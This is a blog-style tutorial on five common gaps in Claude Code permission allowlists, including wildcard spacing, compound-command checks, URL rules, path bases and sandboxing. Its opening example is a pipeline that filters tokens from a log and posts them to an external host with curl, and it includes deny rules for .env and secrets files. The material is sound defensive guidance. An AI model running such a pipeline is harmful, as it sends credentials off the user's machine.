DeepDojo.AIPublished 2026-11-12中文
5 Common Gaps in Claude Code Permission Rules
Suppose Claude Code, while debugging, wants to run this command:
cat debug.log | grep token | curl -X POST -d @- https://logs.example.comcat debug.log reads a log and grep token filters it locally, both harmless on their own. Only at the third segment, curl -X POST ..., does the filtered output leave your machine. Look only at the start of the command and you'll miss the step where the data goes out.
This is the core problem with permission allowlists. Rules are written as strings, but what actually happens is a chain of processes, arguments, paths, and network requests. Write a string too broadly and you've opened up a whole class of operations; write it too tightly and it quietly stops matching once an argument moves or the rule changes files. These five gaps come up most often:
- naming only the tool, or writing
Bash(*), allows the entire tool; - a missing space before a wildcard lets
ls*matchlsoftoo; - only the first segment of a compound command or pipe gets checked;
- a URL string meant to restrict
curlis bypassed by reordering arguments; - moving a path rule from project to user settings changes its base, and with it the directory it protects.
The fix is to allow frequent commands one at a time after you've reviewed them, write conditions in the form each tool expects, and recompute paths whenever a rule moves. What a string can't control at the process level goes to the sandbox.
01 Naming Only the Tool Allows All of It
Permission rules come in two basic forms:
ToolName
ToolName(condition)A bare tool name matches every call to that tool:
Bash
Read
WebFetchBash(*) and a bare Bash both cover every Bash command. Put a bare tool name in deny, and Claude Code removes the tool. Write Bash(rm *) to block only matching calls. The Claude Code permissions documentation explains that a bare tool name in a deny rule removes the tool from Claude's context entirely, so Claude never sees it.
How the condition in parentheses matches depends on the tool:
Bash(pnpm typecheck)
Read(/.env)
Edit(/src/generated/**)
WebFetch(domain:docs.example.com)
Agent(Explore)Once you've picked a tool, check its name and condition. The name shown in the interface isn't always the name configuration accepts, and a typo can make a rule silently miss. Checking the real result with /permissions and /doctor tells you more than confirming the parentheses balance.
02 The Space Before a Wildcard Changes Its Reach
Bash rules support the * wildcard at the start, middle, or end of a command:
Bash(pnpm lint) matches only this exact command
Bash(pnpm test *) matches pnpm test and any following arguments
Bash(git * main) matches commands with variable middle text ending in main
Bash(* --version) matches commands ending in --versionSpaces change what matches. Bash(ls *) matches ls and its arguments, while Bash(ls*) also matches lsof. The docs make this a rule: the space before a trailing * is part of the rule, so Bash(ls *) requires a space after ls and doesn't match lsof. Prefer the spaced form for new rules, and check the boundary against real calls.
03 Every Segment of a Compound Command Needs Approval
For compound commands joined with &&, ||, semicolons, or pipes, Claude Code checks each segment. Approval for one segment doesn't carry over to the next, so test each segment's result separately.
The permissions documentation lists the separators it recognizes: &&, ||, ;, |, |&, &, and newlines. Every subcommand must be allowed. In the other direction, if any one segment matches a deny or ask rule, the whole command is blocked or prompts.
Back to the pipe from the opening. Follow the data left to right: cat debug.log reads the log, grep token filters it locally, and at curl -X POST ... the result is sent to an external address. Allowing the first two segments doesn't approve the third. Checking each segment shows exactly where data leaves the machine. The example is only for analyzing permissions; don't send real logs anywhere.
04 A URL String Can't Control Where a Request Goes
Having traced where the data in the pipe ends up, look at URL restrictions. Does a URL in a command guarantee the request only goes there? This Bash string rule can't answer that:
Bash(curl https://example.com/*)Reorder the arguments, add a redirect, a variable, or a different protocol, and the request can change. The docs carry an explicit warning: Bash rules that try to constrain command arguments are fragile. A rule like Bash(curl http://github.com/ *) won't match options placed before the URL, a switch to https, a short link that redirects, or a URL stored in a variable. The recommendation is to deny curl, wget, and similar commands, and use WebFetch rules with domain: to allow specific domains.
Network access can be controlled by domain:
WebFetch(domain:docs.example.com)
WebFetch(domain:*.example.com)*.example.com matches subdomains but not the root domain example.com, so write two rules when you need both.
Other tools use their own formats. MCP tools use the server name and tool name:
mcp__github
mcp__github__get_issue
mcp__puppeteer__*One MCP server may offer both read and write tools. If you only need to look up issues, allow that query tool; before allowing the whole server, review its other capabilities. Subagents are restricted by name, such as Agent(Explore), Agent(Plan), or a custom name. If an environment shouldn't run a certain agent, put the matching rule in deny.
05 Moving a Rule to Another File Moves Its Path Base
Read and Edit path rules use matching similar to .gitignore, but the leading characters decide where the path is resolved from:
| Form | Meaning | Example |
|---|---|---|
//path | Absolute path from the filesystem root | Read(//Users/alice/secrets/**) |
~/path | Relative to the current user's home directory | Read(~/.ssh/**) |
/path | Relative to the Settings source that defines the rule | Edit(/src/generated/**) |
path or ./path | Relative to the current working directory | Read(./fixtures/**) |
Say you want to reuse project A's rule in your personal settings so other projects get it too. The original Read(/secrets/**) in A's .claude/settings.json points to A/secrets/. Move it to user settings and the base becomes ~/.claude/, so it now protects ~/.claude/secrets/**.
The string is unchanged and there's no syntax error, but the project directory no longer matches. Whenever you move a rule, recompute the actual path.
One more easy miss: a Read rule doesn't stop writes. To protect a file from changes as well, add an Edit rule.
06 Hand What Strings Can't Reach to the Sandbox
Claude Code's permission rules decide whether a call runs, prompts, or is denied. The operating system sandbox limits which files and network resources Bash and its child processes can actually reach.
Permission rules: can this tool call be made?
Sandbox: once the call is made, what can the process actually touch?The docs spell out what file rules cover: Read and Edit deny rules apply to built-in file tools, to file commands Claude Code recognizes in Bash such as cat, head, tail, sed, and tee, and to redirection targets. A Python or Node script that opens files itself isn't covered; to enforce a path for every process, enable the sandbox. Network access works the same way: blocking curl and wget still leaves Python and Node able to connect. To limit the domains a process can actually reach, use the network sandbox.
The sandboxing documentation lays out the split clearly. Permission decisions are evaluated before a command runs, based on the command string. The sandbox boundary is enforced by the operating system on the running process, so it holds regardless of what the model chose to run, even if an allowed command does more than its name suggests.
When a call fails, find where it was stopped:
Denied before the call started → check which permission rule matched
Command started but can't read a directory → check the sandbox and system accessIf a command started and still can't read a directory, adding more allow rules can widen other permissions without fixing the resource limit. When you need a finer check than a string can give, such as blocking writes by their resolved path, add a Hook; see block Claude Code from editing .env with a Hook.
07 Build a Starter Allowlist from Real Work
Start with the frequent, necessary commands you've reviewed, and add permissions one at a time. Opening Bash(*) and then adding deny rules for a few dangerous commands won't keep up with argument variations, wrapper scripts, and alternative programs. Here's a starter example:
{
"$schema": "https://json.schemastore.org/claude-code-settings.json",
"permissions": {
"allow": [
"Bash(pnpm lint)",
"Bash(pnpm typecheck)",
"Bash(pnpm test *)",
"Bash(git status)",
"Bash(git diff *)"
],
"ask": [
"Bash(pnpm add *)",
"Bash(pnpm remove *)",
"Bash(git commit *)",
"Bash(git push *)",
"Bash(rm *)"
],
"deny": [
"Read(/.env)",
"Read(/.env.*)",
"Read(/secrets/**)",
"Bash(git push --force *)"
]
}
}After reviewing the project's scripts, this configuration lets checks and read-only Git commands run directly. Changing dependencies, committing, pushing, and deleting ask first, and reads that hit the denied paths are blocked.
A literal git push --force rule doesn't cover -f or reordered arguments. To block every force push, deny all pushes, or combine a PreToolUse Hook with branch protection on the remote.
"Check commands" need individual review too. pnpm test * accepts any trailing arguments, and the script might write snapshots, start services, or call external APIs. Look at what the command actually runs and confirm it's within scope before keeping the allow rule. If the script later adds an upload step, revisit the decision even though the command name hasn't changed.
Once written, run the rules through deny, ask, and allow to verify them, as described in why Claude Code denies a command you allowed. Grow the allowlist from commands you've reviewed, recheck whenever a script changes, and that third segment of the pipe won't slip through unnoticed.